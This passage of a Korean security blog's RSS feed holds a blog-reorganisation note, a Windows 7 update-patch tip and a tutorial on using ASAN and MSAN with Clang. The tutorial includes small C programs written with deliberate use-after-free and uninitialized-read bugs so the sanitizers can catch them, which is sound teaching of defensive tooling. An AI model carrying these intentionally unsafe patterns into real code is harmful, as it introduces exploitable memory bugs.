연말약속들?&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;아무튼 기록으로 남겨두기 위해서 글을 작성해본다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;우선.. 2주전부터 천천히 블로그 개편을 하고 있다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;예전부터 고민 해온 것이지만 슬슬 블로그가 잡탕이 되는 것 같아서 예전 맨 처음 올렸던 별 의미 없는&amp;nbsp;블로그 포스팅들은 모두 삭제하고 있고&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;15년부터 올리기 시작했던 여행기는 전부다 새로운&amp;nbsp;블로그로 옮겼다. (여행기 블로그)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;가끔씩 사람들을 만나면서 블로그 이야기가 나오는데 여행기가 많다는 이야기가 있어서 원래 목적인 보안블로그의 성격이 조금 약해지는 것 같다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그래서 아예 블로그를 2개로 나누기로 했고 (보안블로그 / 여행블로그) 예전 의미없는 포스팅 (공유기 세팅 등)들은 모두 삭제하거나 숨김 처리를 하기로&amp;nbsp;했다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;가끔씩 애드센스 수익으로 조금씩 들어오던것이 줄어들긴 하겠지만 좀더 좋은 블로그로 만들기 위해서 결정했다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;또 여행 블로그를 새로 만들게 된 이유는 보안 말고도 나는 여행을 정말 좋아하는 편이어서 앞으로도 다니게 될 일이 많을 것 같아 새로 만들기로 했다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;새로운 여행 블로그의 주소는&amp;nbsp;&lt;a href=&quot;http://travel.sweetchip.kr/&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;http://travel.sweetchip.kr/&lt;/a&gt; 이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이제 막 시작한 블로그라서 방문자 수도 별로 없고 유입도 적지만 앞으로 몇십년동안 여행을 다니면서 컨텐츠를 쌓으면 자연스럽게 방문자수도 많아질 것이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;아무튼. 목표는 올해 12월 31일까지 컨텐츠 개편을 완료로 17년부턴&amp;nbsp;지금까지 공부하고 연구했던 자료들을 좀 더 많이 오픈 할 예정이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>0x20 일상/0x21 일상</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/405</guid>
      <comments>https://pgnsc.tistory.com/405#entry405comment</comments>
      <pubDate>Fri, 23 Dec 2016 13:52:54 +0900</pubDate>
    </item>
    <item>
      <title>Windows 7 초기 설치 버전에서 무한 업데이트 확인 중 문제</title>
      <link>https://pgnsc.tistory.com/404</link>
      <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;매번 윈도우를 설치할때마다 이 문제가 있었는데&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이 문제의 경우&amp;nbsp;&lt;a href=&quot;https://support.microsoft.com/ko-kr/kb/3102810&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;https://support.microsoft.com/ko-kr/kb/3102810&lt;/a&gt; 의 패치를 적용시키니 문제가 해결할 수 있었다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;위 링크에 들어가서 적절한 윈도우 버전에 대한 패치를 다운받아서 업데이트를 실행하기 전에 먼저 설치하고 업데이트를 진행하면&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;5분 이내로 목록을 받아오는 것을 볼 수 있다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;아래&amp;nbsp;패치 파일은&amp;nbsp;&lt;b&gt;한국어 기준&lt;/b&gt;입니다. (다른 언어가 설치해도 크게 문제는 없을 것으로 보이네요)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;위 링크 가서 받으셔도 좋고 여기서 받아도 좋습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;32비트는 x86, 64비트는 x64를 받아주세요.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block;   height: auto; max-width: 100%;&quot;&gt;&lt;a href=&quot;https://t1.daumcdn.net/cfile/tistory/2565924E575DD2EE39&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://i1.daumcdn.net/cfs.tistory/v/0/blog/image/extension/unknown.gif&quot; style=&quot;vertical-align: middle;&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;Windows6.1-KB3102810-x64.msu&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block;   height: auto; max-width: 100%;&quot;&gt;&lt;a href=&quot;https://t1.daumcdn.net/cfile/tistory/2651B44E575DD2F006&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://i1.daumcdn.net/cfs.tistory/v/0/blog/image/extension/unknown.gif&quot; style=&quot;vertical-align: middle;&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;Windows6.1-KB3102810-x86.msu&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;아래는 위 링크에서 가져온 내용.&lt;/p&gt;&lt;p&gt;============================================================&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;문제점&lt;/p&gt;&lt;p&gt;&amp;nbsp;- Windows 7 및 Windows Server 2008 R2에서 업데이트 설치 및 검색이 느려지고 높은 CPU 점유율을 나타냄&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이 업데이트에서 해결된 문제&lt;/p&gt;&lt;p&gt;- 시스템 센터 구성 관리자를 사용하여 업데이트를 설치할 때, 설치 시간이 오래 걸리고, 시스템 센터 구성 관리자가 오버 로드 됩니다.&lt;/p&gt;&lt;p&gt;- Windows Update 클라이언트를 Windows 10으로 업그레이드할 때 Svchost.exe 프로세스의 CPU 사용률이 100%를 차지합니다.&amp;nbsp;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>0x30 유틸리티/0x32 utility</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/404</guid>
      <comments>https://pgnsc.tistory.com/404#entry404comment</comments>
      <pubDate>Mon, 13 Jun 2016 06:24:50 +0900</pubDate>
    </item>
    <item>
      <title>메모리 버그 디텍터 - ASAN (AddressSanitizer) 사용법</title>
      <link>https://pgnsc.tistory.com/403</link>
      <description>&lt;p&gt;ASAN - AddressSanitizer&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 728px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/25422735575863F416&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F25422735575863F416&quot; width=&quot;728&quot; height=&quot;315&quot; filename=&quot;캡처.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/google/sanitizers/wiki/AddressSanitizer&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;https://github.com/google/sanitizers/wiki/AddressSanitizer &lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;구글의 깃허브에 정의된 ASAN 은 c/c++로 제작된 프로그램에서 버그를 디텍션 해주는 툴 이라고 보면 된다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;따로 설치해서 해야 하는건 없고 컴파일러 Clang 을 설치한뒤 컴파일 할때&amp;nbsp;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace; font-size: 13.6px; line-height: 21.76px; background-color: rgba(0, 0, 0, 0.0392157);&quot;&gt;-fsanitize=address&lt;/span&gt;&amp;nbsp;옵션만 붙여주도록 하자.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;맨 위의 사진은 ASAN을 적용해서 디텍션할 수 있는 버그들의 목록이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Sanitizer 시리즈로는 아래와 같은 것들이 있다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;AddressSanitizer (detects addressability issues) -&amp;nbsp;&lt;a href=&quot;https://github.com/google/sanitizers/wiki/AddressSanitizer&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;https://github.com/google/sanitizers/wiki/AddressSanitizer&lt;/a&gt;&lt;/p&gt;&lt;p&gt;LeakSanitizer (detects memory leaks) -&amp;nbsp;&lt;a href=&quot;https://github.com/google/sanitizers/wiki/AddressSanitizerLeakSanitizer&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;https://github.com/google/sanitizers/wiki/AddressSanitizerLeakSanitizer&lt;/a&gt;&lt;/p&gt;&lt;p&gt;ThreadSanitizer (detects data races and deadlocks) for C++ and Go -&amp;nbsp;&lt;a href=&quot;https://github.com/google/sanitizers/wiki/ThreadSanitizerCppManual&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;https://github.com/google/sanitizers/wiki/ThreadSanitizerCppManual&lt;/a&gt;&lt;/p&gt;&lt;p&gt;MemorySanitizer (detects use of uninitialized memory) -&amp;nbsp;&lt;a href=&quot;https://github.com/google/sanitizers/wiki/MemorySanitizer&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;https://github.com/google/sanitizers/wiki/MemorySanitizer&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;사용법은 위 링크에 모두 나와있으니 ASAN과 MSAN만 사용해보도록 하자.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;우선 위 기능을 사용하기 위해서 Clang을 설치한다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;sudo apt install clang &lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;*참고 - 기준은 ubuntu 16.04 server *bit&amp;nbsp;LTS 버전이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/p&gt;&lt;p&gt;// clang -fsanitize=address -O1 -fno-omit-frame-pointer uaf.c -o uaf&lt;/p&gt;&lt;p&gt;int main() {&lt;/p&gt;&lt;p&gt;&amp;nbsp; char *x = (char*)malloc(10 * sizeof(char*));&lt;/p&gt;&lt;p&gt;&amp;nbsp; free(x);&lt;/p&gt;&lt;p&gt;&amp;nbsp; return x[5];&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;위의 예제 코드를 보면 malloc으로 메모리를 할당하고 바로 Free시킨다. 그 이후 Free된 메모리 x를 접근하는데 이는 Free된 메모리를 재 사용하는&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Use-After-Free라고 볼 수 있다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이를 2번째 줄에 있는 커맨드로 컴파일 해보자.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이때 -fsanitize=address 는 ASAN을 사용하겠다는 것이고, -O1은 최적화 (옵션, 아래 페이지에 있어서 그냥 붙임.)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;-fno-omit-frame-pointer는 더 좋은 스택트레이스 결과를 보기위해 붙이라고 한다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;각각의 옵션에 대한 정보는&amp;nbsp;&lt;a href=&quot;https://github.com/google/sanitizers/wiki/AddressSanitizer#using-addresssanitizer&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;https://github.com/google/sanitizers/wiki/AddressSanitizer#using-addresssanitizer&lt;/a&gt; 을 참고하도록 하자.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;[sweetchip@ubuntu sanitizer]$ &lt;b&gt;clang -fsanitize=address -O1 -fno-omit-frame-pointer uaf.c -o uaf&lt;/b&gt;&lt;/p&gt;&lt;p&gt;[sweetchip@ubuntu sanitizer]$ &lt;b&gt;./uaf&lt;/b&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;=================================================================&lt;/p&gt;&lt;p&gt;==10400==ERROR: &lt;b&gt;AddressSanitizer&lt;/b&gt;: &lt;b&gt;heap-use-after-free on address 0x60700000dfb5 at pc 0x0000004e9bbe bp 0x7ffd5c55f6f0 sp 0x7ffd5c55f6e8&lt;/b&gt;&lt;/p&gt;&lt;p&gt;READ of size 1 at 0x60700000dfb5 thread T0&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; #0 0x4e9bbd &amp;nbsp;(/home/sweetchip/sanitizer/uaf+0x4e9bbd)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; #1 0x7f031f59582f &amp;nbsp;(/lib/x86_64-linux-gnu/libc.so.6+0x2082f)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; #2 0x418518 &amp;nbsp;(/home/sweetchip/sanitizer/uaf+0x418518)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;0x60700000dfb5 is located 5 bytes inside of 80-byte region [0x60700000dfb0,0x60700000e000)&lt;/p&gt;&lt;p&gt;freed by thread T0 here:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; #0 0x4b84c0 &amp;nbsp;(/home/sweetchip/sanitizer/uaf+0x4b84c0)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; #1 0x4e9b8a &amp;nbsp;(/home/sweetchip/sanitizer/uaf+0x4e9b8a)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; #2 0x7f031f59582f &amp;nbsp;(/lib/x86_64-linux-gnu/libc.so.6+0x2082f)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;previously allocated by thread T0 here:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; #0 0x4b8648 &amp;nbsp;(/home/sweetchip/sanitizer/uaf+0x4b8648)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; #1 0x4e9b7f &amp;nbsp;(/home/sweetchip/sanitizer/uaf+0x4e9b7f)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; #2 0x7f031f59582f &amp;nbsp;(/lib/x86_64-linux-gnu/libc.so.6+0x2082f)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;SUMMARY: AddressSanitizer: heap-use-after-free (/home/sweetchip/sanitizer/uaf+0x4e9bbd)&amp;nbsp;&lt;/p&gt;&lt;p&gt;Shadow bytes around the buggy address:&lt;/p&gt;&lt;p&gt;&amp;nbsp; 0x0c0e7fff9ba0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa&lt;/p&gt;&lt;p&gt;&amp;nbsp; 0x0c0e7fff9bb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa&lt;/p&gt;&lt;p&gt;&amp;nbsp; 0x0c0e7fff9bc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa&lt;/p&gt;&lt;p&gt;&amp;nbsp; 0x0c0e7fff9bd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa&lt;/p&gt;&lt;p&gt;&amp;nbsp; 0x0c0e7fff9be0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa&lt;/p&gt;&lt;p&gt;=&amp;gt;0x0c0e7fff9bf0: fa fa fa fa fa fa[fd]fd fd fd fd fd fd fd fd fd&lt;/p&gt;&lt;p&gt;&amp;nbsp; 0x0c0e7fff9c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa&lt;/p&gt;&lt;p&gt;&amp;nbsp; 0x0c0e7fff9c10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa&lt;/p&gt;&lt;p&gt;&amp;nbsp; 0x0c0e7fff9c20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa&lt;/p&gt;&lt;p&gt;&amp;nbsp; 0x0c0e7fff9c30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa&lt;/p&gt;&lt;p&gt;&amp;nbsp; 0x0c0e7fff9c40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa&lt;/p&gt;&lt;p&gt;Shadow byte legend (one shadow byte represents 8 application bytes):&lt;/p&gt;&lt;p&gt;&amp;nbsp; Addressable: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 00&lt;/p&gt;&lt;p&gt;&amp;nbsp; Partially addressable: 01 02 03 04 05 06 07&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; Heap left redzone: &amp;nbsp; &amp;nbsp; &amp;nbsp; fa&lt;/p&gt;&lt;p&gt;&amp;nbsp; Heap right redzone: &amp;nbsp; &amp;nbsp; &amp;nbsp;fb&lt;/p&gt;&lt;p&gt;&amp;nbsp; Freed heap region: &amp;nbsp; &amp;nbsp; &amp;nbsp; fd&lt;/p&gt;&lt;p&gt;&amp;nbsp; Stack left redzone: &amp;nbsp; &amp;nbsp; &amp;nbsp;f1&lt;/p&gt;&lt;p&gt;&amp;nbsp; Stack mid redzone: &amp;nbsp; &amp;nbsp; &amp;nbsp; f2&lt;/p&gt;&lt;p&gt;&amp;nbsp; Stack right redzone: &amp;nbsp; &amp;nbsp; f3&lt;/p&gt;&lt;p&gt;&amp;nbsp; Stack partial redzone: &amp;nbsp; f4&lt;/p&gt;&lt;p&gt;&amp;nbsp; Stack after return: &amp;nbsp; &amp;nbsp; &amp;nbsp;f5&lt;/p&gt;&lt;p&gt;&amp;nbsp; Stack use after scope: &amp;nbsp; f8&lt;/p&gt;&lt;p&gt;&amp;nbsp; Global redzone: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;f9&lt;/p&gt;&lt;p&gt;&amp;nbsp; Global init order: &amp;nbsp; &amp;nbsp; &amp;nbsp; f6&lt;/p&gt;&lt;p&gt;&amp;nbsp; Poisoned by user: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;f7&lt;/p&gt;&lt;p&gt;&amp;nbsp; Container overflow: &amp;nbsp; &amp;nbsp; &amp;nbsp;fc&lt;/p&gt;&lt;p&gt;&amp;nbsp; Array cookie: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;ac&lt;/p&gt;&lt;p&gt;&amp;nbsp; Intra object redzone: &amp;nbsp; &amp;nbsp;bb&lt;/p&gt;&lt;p&gt;&amp;nbsp; ASan internal: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fe&lt;/p&gt;&lt;p&gt;&amp;nbsp; Left alloca redzone: &amp;nbsp; &amp;nbsp; ca&lt;/p&gt;&lt;p&gt;&amp;nbsp; Right alloca redzone: &amp;nbsp; &amp;nbsp;cb&lt;/p&gt;&lt;p&gt;==10400==ABORTING&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그리고 위처럼 디버그 정보가 쭉 출력되고 스택트레이스 정보가 출력된다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이번엔 MSAN을 사용해보자.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Asan처럼 그냥 옵션만 추가해주면 사용할 수 있기&amp;nbsp;떄문에 우선 &lt;b&gt;Clang을 설치한 상태&lt;/b&gt;여야 한다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;[sweetchip@ubuntu sanitizer]$ cat umr.cc&amp;nbsp;&lt;/p&gt;&lt;p&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/p&gt;&lt;p&gt;//clang -fsanitize=memory -fPIE -pie -fno-omit-frame-pointer -g -O2 umr.cc -o umr -fsanitize-memory-track-origins&lt;/p&gt;&lt;p&gt;int main(int argc, char** argv) {&lt;/p&gt;&lt;p&gt;&amp;nbsp; int a[10];&lt;/p&gt;&lt;p&gt;&amp;nbsp; a[5] = 0;&lt;/p&gt;&lt;p&gt;&amp;nbsp; if (a[argc])&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; printf(&quot;xx\n&quot;);&lt;/p&gt;&lt;p&gt;&amp;nbsp; return 0;&lt;/p&gt;&lt;p&gt;}&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이때&amp;nbsp;-fsanitize=memory 는 MSan을 사용하겠다는 것이고, -fPie -pie는 예제에 붙어있길래 같이 붙였다. 안붙여도 결과만 보는데는 크게 문제가 없는듯 하다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;-fsanitize-memory-track-origins 는 어느 함수에서 메모리를 할당시켰는지 추적할 수 있는 기능이다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;-fno-omit-frame-pointer 는 ASAN과 같이 스택 트레이서 기능이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;위 예제 코드를 보면&amp;nbsp;a배열을 초기화하지 않은 것에 문제가 발생한다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이 경우 a[argc]로 접근하게 될 경우 여러 문제가 발생할 수 있다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;[sweetchip@ubuntu sanitizer]$ ./umr 5&lt;/p&gt;&lt;p&gt;==10456==WARNING: &lt;b&gt;MemorySanitizer: use-of-uninitialized-value&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; #0 0x563e3030d568 &amp;nbsp;(/home/sweetchip/sanitizer/umr+0x87568)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; #1 0x7fd85136082f &amp;nbsp;(/lib/x86_64-linux-gnu/libc.so.6+0x2082f)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; #2 0x563e3029ff88 &amp;nbsp;(/home/sweetchip/sanitizer/umr+0x19f88)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&amp;nbsp; Uninitialized value was created by an allocation of 'a' in the stack frame of function 'main'&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; #0 0x563e3030d430 &amp;nbsp;(/home/sweetchip/sanitizer/umr+0x87430)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;SUMMARY: MemorySanitizer: use-of-uninitialized-value (/home/sweetchip/sanitizer/umr+0x87568)&amp;nbsp;&lt;/p&gt;&lt;p&gt;Exiting&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;[sweetchip@ubuntu sanitizer]$ ./umr 100&lt;/p&gt;&lt;p&gt;==10457==WARNING: &lt;b&gt;MemorySanitizer: use-of-uninitialized-value&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; #0 0x56272224f568 &amp;nbsp;(/home/sweetchip/sanitizer/umr+0x87568)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; #1 0x7f0f5626782f &amp;nbsp;(/lib/x86_64-linux-gnu/libc.so.6+0x2082f)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; #2 0x5627221e1f88 &amp;nbsp;(/home/sweetchip/sanitizer/umr+0x19f88)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &lt;b&gt;Uninitialized value was created by an allocation of 'a' in the stack frame of function 'main'&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; #0 0x56272224f430 &amp;nbsp;(/home/sweetchip/sanitizer/umr+0x87430)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;SUMMARY: MemorySanitizer: use-of-uninitialized-value (/home/sweetchip/sanitizer/umr+0x87568)&amp;nbsp;&lt;/p&gt;&lt;p&gt;Exiting&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;MSan 은 위처럼 결과가 나온다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;잘만 사용하면 써먹을 곳이 꽤나 많을듯 하다.&lt;/p&gt;</description>
      <category>0x10 정보보안/0x14 Reverse Engineering</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/403</guid>
      <comments>https://pgnsc.tistory.com/403#entry403comment</comments>
      <pubDate>Thu, 9 Jun 2016 03:52:21 +0900</pubDate>
    </item>
    <item>
      <title>멀티 아키텍쳐 지원 어셈블러 Keystone</title>
      <link>https://pgnsc.tistory.com/402</link>
